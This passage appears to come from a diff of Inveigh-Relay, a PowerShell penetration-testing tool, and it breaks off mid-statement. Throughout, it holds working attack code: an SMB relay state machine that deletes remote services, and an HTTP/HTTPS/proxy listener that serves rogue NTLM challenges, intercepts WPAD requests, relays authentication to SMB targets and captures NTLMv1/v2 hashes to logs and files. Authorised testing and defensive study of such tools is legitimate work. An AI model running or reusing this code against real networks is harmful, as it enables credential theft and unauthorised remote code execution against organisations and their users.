elseif([System.BitConverter]::ToString($SMB_client_receive[108..111]) -eq '02-00-00-00') + { + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] service $SMB_service failed to start on $Target") > $null + } + + $SMB2_message_ID += 20 + $packet_SMB2_header = New-PacketSMB2Header 0x09,0x00 0x7f,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID + $packet_SCM_data = New-PacketSCMDeleteServiceW $SMB_service_context_handle + $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data + $packet_RPC_data = New-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x04,0x00,0x00,0x00 0x00,0x00 0x02,0x00 + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $packet_SMB2_data = New-PacketSMB2WriteRequest $SMB_file_ID ($RPC_data.Length + $SCM_data.Length) + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $RPC_data_length = $SMB2_data.Length + $SCM_data.Length + $RPC_data.Length + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $SCM_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + $SMB_client_stage = 'ReadRequest' + $SMB_client_stage_next = 'CloseServiceHandle' + $SMB_close_service_handle_stage = 1 + } + + 'CloseServiceHandle' + { + + if($SMB_close_service_handle_stage -eq 1) + { + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] service $SMB_service deleted on $Target") > $null + $SMB2_message_ID += 20 + $SMB_close_service_handle_stage++ + $packet_SCM_data = New-PacketSCMCloseServiceHandle $SMB_service_context_handle + } + else + { + $SMB2_message_ID++ + $SMB_client_stage = 'CloseRequest' + $packet_SCM_data = New-PacketSCMCloseServiceHandle $SMB_service_manager_context_handle + } + + $packet_SMB2_header = New-PacketSMB2Header 0x09,0x00 0x7f,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID + $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data + $packet_RPC_data = New-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x05,0x00,0x00,0x00 0x00,0x00 0x00,0x00 + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $packet_SMB2_data = New-PacketSMB2WriteRequest $SMB_file_ID ($RPC_data.Length + $SCM_data.Length) + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $RPC_data_length = $SMB2_data.Length + $SCM_data.Length + $RPC_data.Length + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $SCM_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + } + + 'CloseRequest' + { + $SMB2_message_ID += 20 + $packet_SMB2_header = New-PacketSMB2Header 0x06,0x00 0x7f,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID + $packet_SMB2_data = New-PacketSMB2CloseRequest $SMB_file_ID + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + $SMB_client_stage = 'TreeDisconnect' + } + + 'TreeDisconnect' + { + $SMB2_message_ID += 1 + $packet_SMB2_header = New-PacketSMB2Header 0x04,0x00 0x7f,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID + $packet_SMB2_data = New-PacketSMB2TreeDisconnectRequest + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + + if($Attack -eq 'Session') + { + $inveigh.session_message_ID_table[$inveigh.session_count] = $SMB2_message_ID + $SMB_client_stage = 'Exit' + } + else + { + $SMB_client_stage = 'Logoff' + } + + } + + 'Logoff' + { + $SMB2_message_ID += 20 + $packet_SMB2_header = New-PacketSMB2Header 0x02,0x00 0x7f,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID + $packet_SMB2_data = New-PacketSMB2SessionLogoffRequest + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + $SMB_client_stage = 'Exit' + } + + } + + if($SMB_relay_failed -and $Attack -ne 'Session') + { + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] Relay failed on $Target") > $null + $SMB_client_stage = 'Exit' + } + + } + + } + + if(!$SMB_relay_failed -and $RelayAutoDisable -eq 'Y' -and $inveigh.target_list.Count -eq 1 -and $Attack -ne 'Session') + { + $inveigh.target_list.Remove($Target) + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] Relay auto disabled due to success") > $null + $inveigh.SMB_relay = $false + } + elseif(!$SMB_relay_failed -and $Attack -ne 'Session') + { + $inveigh.target_list.Remove($Target) + } + + if($Attack -eq 'Session') + { + return $SMB_administrator + } + else + { + $SMB_relay_socket.Close() + } + + } + +} + +# HTTP/HTTPS/Proxy Server ScriptBlock +$HTTP_scriptblock = +{ + param ($Attack,$Challenge,$Command,$HTTPIP,$HTTPPort,$HTTPResetDelay,$HTTPResetDelayTimeout,$HTTPS_listener, + $Proxy,$ProxyIgnore,$proxy_listener,$RelayAutoDisable,$Service,$SMB_version,$SessionLimit,$SessionPriority, + $Target,$Username,$WPADAuth,$WPADAuthIgnore,$WPADResponse) + + function NTLMChallengeBase64 + { + param ([String]$Challenge,[String]$ClientIPAddress,[Int]$ClientPort) + + $HTTP_timestamp = Get-Date + $HTTP_timestamp = $HTTP_timestamp.ToFileTime() + $HTTP_timestamp = [System.BitConverter]::ToString([System.BitConverter]::GetBytes($HTTP_timestamp)) + $HTTP_timestamp = $HTTP_timestamp.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + + if($Challenge) + { + $HTTP_challenge = $Challenge + $HTTP_challenge_bytes = $HTTP_challenge.Insert(2,'-').Insert(5,'-').Insert(8,'-').Insert(11,'-').Insert(14,'-').Insert(17,'-').Insert(20,'-') + $HTTP_challenge_bytes = $HTTP_challenge_bytes.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + } + else + { + $HTTP_challenge_bytes = [String](1..8 | ForEach-Object{"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)}) + $HTTP_challenge = $HTTP_challenge_bytes -replace ' ','' + $HTTP_challenge_bytes = $HTTP_challenge_bytes.Split(" ") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + } + + $inveigh.HTTP_challenge_queue.Add($ClientIPAddress + $ClientPort + ',' + $HTTP_challenge) > $null + + $HTTP_NTLM_bytes = 0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00,0x02,0x00,0x00,0x00,0x06,0x00,0x06,0x00,0x38, + 0x00,0x00,0x00,0x05,0x82,0x89,0xa2 + + $HTTP_challenge_bytes + + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x82,0x00,0x82,0x00,0x3e,0x00,0x00,0x00,0x06, + 0x01,0xb1,0x1d,0x00,0x00,0x00,0x0f,0x4c,0x00,0x41,0x00,0x42,0x00,0x02,0x00,0x06,0x00, + 0x4c,0x00,0x41,0x00,0x42,0x00,0x01,0x00,0x10,0x00,0x48,0x00,0x4f,0x00,0x53,0x00,0x54, + 0x00,0x4e,0x00,0x41,0x00,0x4d,0x00,0x45,0x00,0x04,0x00,0x12,0x00,0x6c,0x00,0x61,0x00, + 0x62,0x00,0x2e,0x00,0x6c,0x00,0x6f,0x00,0x63,0x00,0x61,0x00,0x6c,0x00,0x03,0x00,0x24, + 0x00,0x68,0x00,0x6f,0x00,0x73,0x00,0x74,0x00,0x6e,0x00,0x61,0x00,0x6d,0x00,0x65,0x00, + 0x2e,0x00,0x6c,0x00,0x61,0x00,0x62,0x00,0x2e,0x00,0x6c,0x00,0x6f,0x00,0x63,0x00,0x61, + 0x00,0x6c,0x00,0x05,0x00,0x12,0x00,0x6c,0x00,0x61,0x00,0x62,0x00,0x2e,0x00,0x6c,0x00, + 0x6f,0x00,0x63,0x00,0x61,0x00,0x6c,0x00,0x07,0x00,0x08,0x00 + + $HTTP_timestamp + + 0x00,0x00,0x00,0x00,0x0a,0x0a + + $NTLM_challenge_base64 = [System.Convert]::ToBase64String($HTTP_NTLM_bytes) + $NTLM = 'NTLM ' + $NTLM_challenge_base64 + $NTLM_challenge = $HTTP_challenge + + return $NTLM + } + + if($HTTPS_listener) + { + $HTTP_type = "HTTPS" + } + elseif($proxy_listener) + { + $HTTP_type = "Proxy" + } + else + { + $HTTP_type = "HTTP" + } + + if($HTTPIP -ne '0.0.0.0') + { + $HTTPIP = [System.Net.IPAddress]::Parse($HTTPIP) + $HTTP_endpoint = New-Object System.Net.IPEndPoint($HTTPIP,$HTTPPort) + } + else + { + $HTTP_endpoint = New-Object System.Net.IPEndPoint([System.Net.IPAddress]::any,$HTTPPort) + } + + $HTTP_running = $true + $HTTP_listener = New-Object System.Net.Sockets.TcpListener $HTTP_endpoint + $HTTP_client_close = $true + $relay_step = 0 + + if($proxy_listener) + { + $HTTP_linger = New-Object System.Net.Sockets.LingerOption($true,0) + $HTTP_listener.Server.LingerState = $HTTP_linger + } + + try + { + $HTTP_listener.Start() + } + catch + { + $inveigh.output_queue.Add("[-] [$(Get-Date -format s)] Error starting $HTTP_type listener") + $HTTP_running = $false + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add("[-] [$(Get-Date -format s)] Error starting $HTTP_type listener") + } + + if($inveigh.log_output) + { + $inveigh.log.Add("[-] [$(Get-Date -format s)] Error starting $HTTP_type listener") + } + + } + + :HTTP_listener_loop while($inveigh.relay_running -and $HTTP_running) + { + $TCP_request = "" + $TCP_request_bytes = New-Object System.Byte[] 4096 + $HTTP_send = $true + $HTTP_header_content_type = 0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x54,0x79,0x70,0x65,0x3a,0x20 + [System.Text.Encoding]::UTF8.GetBytes("text/html") + $HTTP_header_cache_control = "" + $HTTP_header_authenticate = "" + $HTTP_header_authenticate_data = "" + $HTTP_message = "" + $HTTP_header_authorization = "" + $HTTP_header_host = "" + $HTTP_header_user_agent = "" + $HTTP_request_raw_URL = "" + $NTLM = "NTLM" + + while(!$HTTP_listener.Pending() -and !$HTTP_client.Connected) + { + Start-Sleep -m 10 + + if(!$inveigh.relay_running) + { + break HTTP_listener_loop + } + + } + + if($relay_step -gt 0) + { + $relay_reset++ + + if($relay_reset -gt 2) + { + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] Relay attack resetting") > $null + $SMB_relay_socket.Close() + $relay_step = 0 + } + + } + else + { + $relay_reset = 0 + } + + if($HTTPS_listener) + { + + if(!$HTTP_client.Connected -or $HTTP_client_close -and $inveigh.relay_running) + { + $HTTP_client = $HTTP_listener.AcceptTcpClient() + $HTTP_clear_stream = $HTTP_client.GetStream() + $HTTP_stream = New-Object System.Net.Security.SslStream($HTTP_clear_stream,$false) + $SSL_cert = (Get-ChildItem Cert:\LocalMachine\My | Where-Object {$_.Subject -match $inveigh.certificate_CN}) + $HTTP_stream.AuthenticateAsServer($SSL_cert,$false,[System.Security.Authentication.SslProtocols]::Default,$false) + } + + [byte[]]$SSL_request_bytes = $null + + do + { + $HTTP_request_byte_count = $HTTP_stream.Read($TCP_request_bytes,0,$TCP_request_bytes.Length) + $SSL_request_bytes += $TCP_request_bytes[0..($HTTP_request_byte_count - 1)] + } while ($HTTP_clear_stream.DataAvailable) + + $TCP_request = [System.BitConverter]::ToString($SSL_request_bytes) + } + else + { + + if(!$HTTP_client.Connected -or $HTTP_client_close -and $inveigh.relay_running) + { + $HTTP_client = $HTTP_listener.AcceptTcpClient() + $HTTP_stream = $HTTP_client.GetStream() + } + + if($HTTP_stream.DataAvailable) + { + $HTTP_data_available = $true + } + else + { + $HTTP_data_available = $false + } + + while($HTTP_stream.DataAvailable) + { + $HTTP_stream.Read($TCP_request_bytes,0,$TCP_request_bytes.Length) + } + + $TCP_request = [System.BitConverter]::ToString($TCP_request_bytes) + } + + if($TCP_request -like "47-45-54-20*" -or $TCP_request -like "48-45-41-44-20*" -or $TCP_request -like "4f-50-54-49-4f-4e-53-20*" -or $TCP_request -like "43-4f-4e-4e-45-43-54*") + { + $HTTP_raw_URL = $TCP_request.Substring($TCP_request.IndexOf("-20-") + 4,$TCP_request.Substring($TCP_request.IndexOf("-20-") + 1).IndexOf("-20-") - 3) + $HTTP_raw_URL = $HTTP_raw_URL.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + $HTTP_request_raw_URL = New-Object System.String ($HTTP_raw_URL,0,$HTTP_raw_URL.Length) + $HTTP_source_IP = $HTTP_client.Client.RemoteEndpoint.Address.IPAddressToString + + if($TCP_request -like "*-48-6F-73-74-3A-20-*") + { + $HTTP_header_host_extract = $TCP_request.Substring($TCP_request.IndexOf("-48-6F-73-74-3A-20-") + 19) + $HTTP_header_host_extract = $HTTP_header_host_extract.Substring(0,$HTTP_header_host_extract.IndexOf("-0D-0A-")) + $HTTP_header_host_extract = $HTTP_header_host_extract.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + $HTTP_header_host = New-Object System.String ($HTTP_header_host_extract,0,$HTTP_header_host_extract.Length) + } + + if($TCP_request -like "*-55-73-65-72-2D-41-67-65-6E-74-3A-20-*") + { + $HTTP_header_user_agent_extract = $TCP_request.Substring($TCP_request.IndexOf("-55-73-65-72-2D-41-67-65-6E-74-3A-20-") + 37) + $HTTP_header_user_agent_extract = $HTTP_header_user_agent_extract.Substring(0,$HTTP_header_user_agent_extract.IndexOf("-0D-0A-")) + $HTTP_header_user_agent_extract = $HTTP_header_user_agent_extract.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + $HTTP_header_user_agent = New-Object System.String ($HTTP_header_user_agent_extract,0,$HTTP_header_user_agent_extract.Length) + } + + if($HTTP_request_raw_URL_old -ne $HTTP_request_raw_URL -or $HTTP_client_handle_old -ne $HTTP_client.Client.Handle) + { + $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] $HTTP_type request for $HTTP_request_raw_URL received from $HTTP_source_IP") + $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] $HTTP_type host header $HTTP_header_host received from $HTTP_source_IP") + $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] $HTTP_type user agent received from $HTTP_source_IP`:`n$HTTP_header_user_agent") + + if($Proxy -eq 'Y' -and $ProxyIgnore.Count -gt 0 -and ($ProxyIgnore | Where-Object {$HTTP_header_user_agent -match $_})) + { + $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] - $HTTP_type ignoring wpad.dat request due to user agent from $HTTP_source_IP") + } + + } + + if($TCP_request -like "*-41-75-74-68-6F-72-69-7A-61-74-69-6F-6E-3A-20-*") + { + $HTTP_header_authorization_extract = $TCP_request.Substring($TCP_request.IndexOf("-41-75-74-68-6F-72-69-7A-61-74-69-6F-6E-3A-20-") + 46) + $HTTP_header_authorization_extract = $HTTP_header_authorization_extract.Substring(0,$HTTP_header_authorization_extract.IndexOf("-0D-0A-")) + $HTTP_header_authorization_extract = $HTTP_header_authorization_extract.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + $HTTP_header_authorization = New-Object System.String ($HTTP_header_authorization_extract,0,$HTTP_header_authorization_extract.Length) + } + + if(($HTTP_request_raw_URL -notmatch '/wpad.dat' -and $HTTPAuth -eq 'Anonymous') -or ($HTTP_request_raw_URL -match '/wpad.dat' -and $WPADAuth -eq 'Anonymous') -or ( + $HTTP_request_raw_URL -match '/wpad.dat' -and $WPADAuth -like 'NTLM*' -and $WPADAuthIgnore.Count -gt 0 -and ($WPADAuthIgnore | Where-Object {$HTTP_header_user_agent -match $_}))) + { + $HTTP_response_status_code = 0x32,0x30,0x30 + $HTTP_response_phrase = 0x4f,0x4b + $HTTP_client_close = $true + } + else + { + + if($proxy_listener) + { + $HTTP_response_status_code = 0x34,0x30,0x37 + $HTTP_header_authenticate = 0x50,0x72,0x6f,0x78,0x79,0x2d,0x41,0x75,0x74,0x68,0x65,0x6e,0x74,0x69,0x63,0x61,0x74,0x65,0x3a,0x20 + } + else + { + $HTTP_response_status_code = 0x34,0x30,0x31 + $HTTP_header_authenticate = 0x57,0x57,0x57,0x2d,0x41,0x75,0x74,0x68,0x65,0x6e,0x74,0x69,0x63,0x61,0x74,0x65,0x3a,0x20 + + if($HTTP_request_raw_URL -match '/wpad.dat') + { + $HTTP_reset_delay = $true + $HTTP_reset_delay_timeout = New-TimeSpan -Seconds $HTTPResetDelayTimeout + $HTTP_reset_delay_stopwatch = [System.Diagnostics.Stopwatch]::StartNew() + } + + } + + $HTTP_response_phrase = 0x55,0x6e,0x61,0x75,0x74,0x68,0x6f,0x72,0x69,0x7a,0x65,0x64 + $HTTP_client_close = $false + } + + if($HTTP_header_authorization.StartsWith('NTLM ')) + { + $HTTP_header_authorization = $HTTP_header_authorization -replace 'NTLM ','' + [Byte[]]$HTTP_request_bytes = [System.Convert]::FromBase64String($HTTP_header_authorization) + + if([System.BitConverter]::ToString($HTTP_request_bytes[8..11]) -eq '01-00-00-00') + { + + if($attack -eq 'Session') + { + $target = $null + + ForEach($target_entry in $inveigh.target_list) + { + + if(!$target) + { + + if($HTTP_source_IP -ne $target_entry -and ($inveigh.session_list | Where-Object {$_.Initiator -eq $HTTP_source_IP -and $_.Target -eq $target_entry -and $_.Status -eq 'connected'} | Measure-Object).Count -lt $SessionLimit) + { + $target = $target_entry + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] Selected $target as relay target") + } + + } + + } + + if(!$target -and $SessionPriority -eq 'Y') + { + + ForEach($target_entry in $inveigh.target_list) + { + + if(!$target) + { + + if($HTTP_source_IP -ne $target_entry -and ($inveigh.session_list | Where-Object {$_.Privileged -eq 'yes' -and $_.Target -eq $target_entry -and $_.Status -eq 'connected'} | Measure-Object).Count -lt $SessionLimit) + { + $target = $target_entry + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] Selected $target as relay target") + } + + } + + } + + } + + } + else + { + $target = $null + + ForEach($target_entry in $inveigh.target_list) + { + + if(!$target) + { + + if($HTTP_source_IP -ne $target_entry -and !$inveigh.relay_list.Contains("$HTTP_source_IP $target_entry")) + { + $target = $target_entry + } + + } + + } + + if(!$target) + { + $target = $inveigh.target_list[(Get-Random -Maximum $inveigh.target_list.Count)] + } + + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] Selected $target as relay target") + } + + if($inveigh.SMB_relay -and $relay_step -eq 0 -and ($target -and $HTTP_source_IP -ne $target)) + { + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] $HTTP_type to SMB relay initiated by $HTTP_source_IP") + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] Grabbing challenge for relay from $target") + $SMB_relay_socket = New-Object System.Net.Sockets.TCPClient + $SMB_relay_socket.Client.ReceiveTimeout = 60000 + $SMB_relay_socket.Connect($Target,"445") + $HTTP_client_close = $false + $relay_step = 1 + + if(!$SMB_relay_socket.connected) + { + $inveigh.output_queue.Add("[-] [$(Get-Date -format s)] Relay target is not responding") + $relay_step = 0 + } + + if($relay_step -eq 1) + { + $SMB_relay_bytes = SMBRelayChallenge $SMB_relay_socket $HTTP_request_bytes $SMB_version + + if($SMB_relay_bytes.Length -le 3) + { + $relay_step = 0 + $NTLM = NTLMChallengeBase64 $Challenge $HTTP_source_IP $HTTP_client.Client.RemoteEndpoint.Port + } + + } + + if($relay_step -eq 1) + { + $SMB_user_ID = $SMB_relay_bytes[34..33] + $SMB_relay_NTLMSSP = [System.BitConverter]::ToString($SMB_relay_bytes) + $SMB_relay_NTLMSSP = $SMB_relay_NTLMSSP -replace "-","" + $SMB_relay_NTLMSSP_index = $SMB_relay_NTLMSSP.IndexOf("4E544C4D53535000") + $SMB_relay_NTLMSSP_bytes_index = $SMB_relay_NTLMSSP_index / 2 + $SMB_domain_length = DataLength2 ($SMB_relay_NTLMSSP_bytes_index + 12) $SMB_relay_bytes + $SMB_domain_length_offset_bytes = $SMB_relay_bytes[($SMB_relay_NTLMSSP_bytes_index + 12)..($SMB_relay_NTLMSSP_bytes_index + 19)] + $SMB_target_length = DataLength2 ($SMB_relay_NTLMSSP_bytes_index + 40) $SMB_relay_bytes + $SMB_target_length_offset_bytes = $SMB_relay_bytes[($SMB_relay_NTLMSSP_bytes_index + 40)..($SMB_relay_NTLMSSP_bytes_index + 55 + $SMB_domain_length)] + $SMB_relay_target_flag = $SMB_relay_bytes[($SMB_relay_NTLMSSP_bytes_index + 22)] + $SMB_relay_NTLM_challenge = $SMB_relay_bytes[($SMB_relay_NTLMSSP_bytes_index + 24)..($SMB_relay_NTLMSSP_bytes_index + 31)] + $SMB_relay_target_details = $SMB_relay_bytes[($SMB_relay_NTLMSSP_bytes_index + 56 + $SMB_domain_length)..($SMB_relay_NTLMSSP_bytes_index + 55 + $SMB_domain_length + $SMB_target_length)] + $SMB_session_ID = $SMB_relay_bytes[44..51] + + if([System.BitConverter]::ToString($SMB_relay_bytes[4..7]) -eq 'ff-53-4d-42') + { + $SMB_version -eq 'SMB1' + } + + $HTTP_NTLM_bytes = 0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00,0x02,0x00,0x00,0x00 + + $SMB_domain_length_offset_bytes + + 0x05,0x82 + + $SMB_relay_target_flag + + 0xa2 + + $SMB_relay_NTLM_challenge + + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 + + $SMB_target_length_offset_bytes + + $SMB_relay_target_details + + $NTLM_challenge_base64 = [System.Convert]::ToBase64String($HTTP_NTLM_bytes) + $NTLM = 'NTLM ' + $NTLM_challenge_base64 + $NTLM_challenge = SMBNTLMChallenge $SMB_relay_bytes + $inveigh.HTTP_challenge_queue.Add($HTTP_source_IP + $HTTP_client.Client.RemoteEndpoint.Port + ',' + $NTLM_challenge) + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] Received challenge $NTLM_challenge for relay from $Target") + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] Providing challenge $NTLM_challenge for relay to $HTTP_source_IP") + $relay_step = 2 + } + else + { + $NTLM = NTLMChallengeBase64 $Challenge $HTTP_source_IP $HTTP_client.Client.RemoteEndpoint.Port + } + + } + else + { + + if(!$target) + { + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] Relay aborted due to lack of an eligible target") + } + elseif($HTTP_source_IP -ne $Target) + { + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] Relay aborted relay due to initiator matching $target") + } + + $NTLM = NTLMChallengeBase64 $Challenge $HTTP_source_IP $HTTP_client.Client.RemoteEndpoint.Port + } + + } + elseif([System.BitConverter]::ToString($HTTP_request_bytes[8..11]) -eq '03-00-00-00') + { + $HTTP_NTLM_length = DataLength2 20 $HTTP_request_bytes + $HTTP_NTLM_offset = DataLength4 24 $HTTP_request_bytes + $HTTP_NTLM_domain_length = DataLength2 28 $HTTP_request_bytes + $HTTP_NTLM_domain_offset = DataLength4 32 $HTTP_request_bytes + [String]$NTLM_challenge = $inveigh.HTTP_challenge_queue -like $HTTP_source_IP + $HTTP_client.Client.RemoteEndpoint.Port + '*' + $inveigh.HTTP_challenge_queue.Remove($NTLM_challenge) + $NTLM_challenge = $NTLM_challenge.Substring(($NTLM_challenge.IndexOf(",")) + 1) + + if($HTTP_NTLM_domain_length -eq 0) + { + $HTTP_NTLM_domain_string = '' + } + else + { + $HTTP_NTLM_domain_string = DataToString $HTTP_NTLM_domain_offset $HTTP_NTLM_domain_length $HTTP_request_bytes + } + + $HTTP_NTLM_user_length = DataLength2 36 $HTTP_request_bytes + $HTTP_NTLM_user_offset = DataLength4 40 $HTTP_request_bytes + + if($HTTP_NTLM_user_length -gt 0) + { + $HTTP_NTLM_user_string = DataToString $HTTP_NTLM_user_offset $HTTP_NTLM_user_length $HTTP_request_bytes + } + else + { + $HTTP_NTLM_user_string = "" + } + + $HTTP_username_full = $HTTP_NTLM_domain_string + "\" + $HTTP_NTLM_user_string + $HTTP_NTLM_host_length = DataLength2 44 $HTTP_request_bytes + $HTTP_NTLM_host_offset = DataLength4 48 $HTTP_request_bytes + $HTTP_NTLM_host_string = DataToString $HTTP_NTLM_host_offset $HTTP_NTLM_host_length $HTTP_request_bytes + + if($HTTP_NTLM_length -eq 24) # NTLMv1 + { + $NTLM_type = "NTLMv1" + $NTLM_response = [System.BitConverter]::ToString($HTTP_request_bytes[($HTTP_NTLM_offset - 24)..($HTTP_NTLM_offset + $HTTP_NTLM_length)]) -replace "-","" + $NTLM_response = $NTLM_response.Insert(48,':') + $HTTP_NTLM_hash = $HTTP_NTLM_user_string + "::" + $HTTP_NTLM_domain_string + ":" + $NTLM_response + ":" + $NTLM_challenge + + if($NTLM_challenge -and $NTLM_response -and ($inveigh.machine_accounts -or (!$inveigh.machine_accounts -and -not $HTTP_NTLM_user_string.EndsWith('$')))) + { + $inveigh.NTLMv1_list.Add($HTTP_NTLM_hash) + + if(!$inveigh.console_unique -or ($inveigh.console_unique -and $inveigh.NTLMv1_username_list -notcontains "$HTTP_source_IP $HTTP_username_full")) + { + $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] $HTTP_type $NTLM_type challenge/response captured from $HTTP_source_IP ($HTTP_NTLM_host_string):`n$HTTP_NTLM_hash") + } + else + { + $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] $HTTP_type $NTLM_type challenge/response captured from $HTTP_source_IP ($HTTP_NTLM_host_string):`n$HTTP_username_full - not unique") + } + + if($inveigh.file_output -and (!$inveigh.file_unique -or ($inveigh.file_unique -and $inveigh.NTLMv1_username_list -notcontains "$HTTP_source_IP $HTTP_username_full"))) + { + $inveigh.NTLMv1_file_queue.Add($HTTP_NTLM_hash) + $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] $HTTP_type $NTLM_type challenge/response written to " + $inveigh.NTLMv1_out_file) + } + + if($inveigh.NTLMv1_username_list -notcontains "$HTTP_source_IP $HTTP_username_full") + { + $inveigh.NTLMv1_username_list.Add("$HTTP_source_IP $HTTP_username_full") + } + + } + + } + else # NTLMv2 + { + $NTLM_type = "NTLMv2" + $NTLM_response = [System.BitConverter]::ToString($HTTP_request_bytes[$HTTP_NTLM_offset..($HTTP_NTLM_offset + $HTTP_NTLM_length)]) -replace "-","" + $NTLM_response = $NTLM_response.Insert(32,':') + $HTTP_NTLM_hash = $HTTP_NTLM_user_string + "::" + $HTTP_NTLM_domain_string + ":" + $NTLM_challenge + ":" + $NTLM_response + + if($NTLM_challenge -and $NTLM_response -and ($inveigh.machine_accounts -or (!$inveigh.machine_accounts -and -not $HTTP_NTLM_user_string.EndsWith('$')))) + { + $inveigh.NTLMv2_list.Add($HTTP_NTLM_hash) + + if(!$inveigh.console_unique -or ($inveigh.console_unique -and $inveigh.NTLMv2_username_list -notcontains "$HTTP_source_IP $HTTP_username_full")) + { + $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] $HTTP_type NTLMv2 challenge/response captured from $HTTP_source_IP ($HTTP_NTLM_host_string):`n$HTTP_NTLM_hash") + } + else + { + $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] $HTTP_type NTLMv2 challenge/response captured from $HTTP_source_IP ($HTTP_NTLM_host_string):`n$HTTP_username_full - not unique") + } + + if($inveigh.file_output -and (!$inveigh.file_unique -or ($inveigh.file_unique -and $inveigh.NTLMv2_username_list -notcontains "$HTTP_source_IP $HTTP_username_full"))) + { + $inveigh.NTLMv2_file_queue.Add($HTTP_NTLM_hash) + $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] $HTTP_type NTLMv2 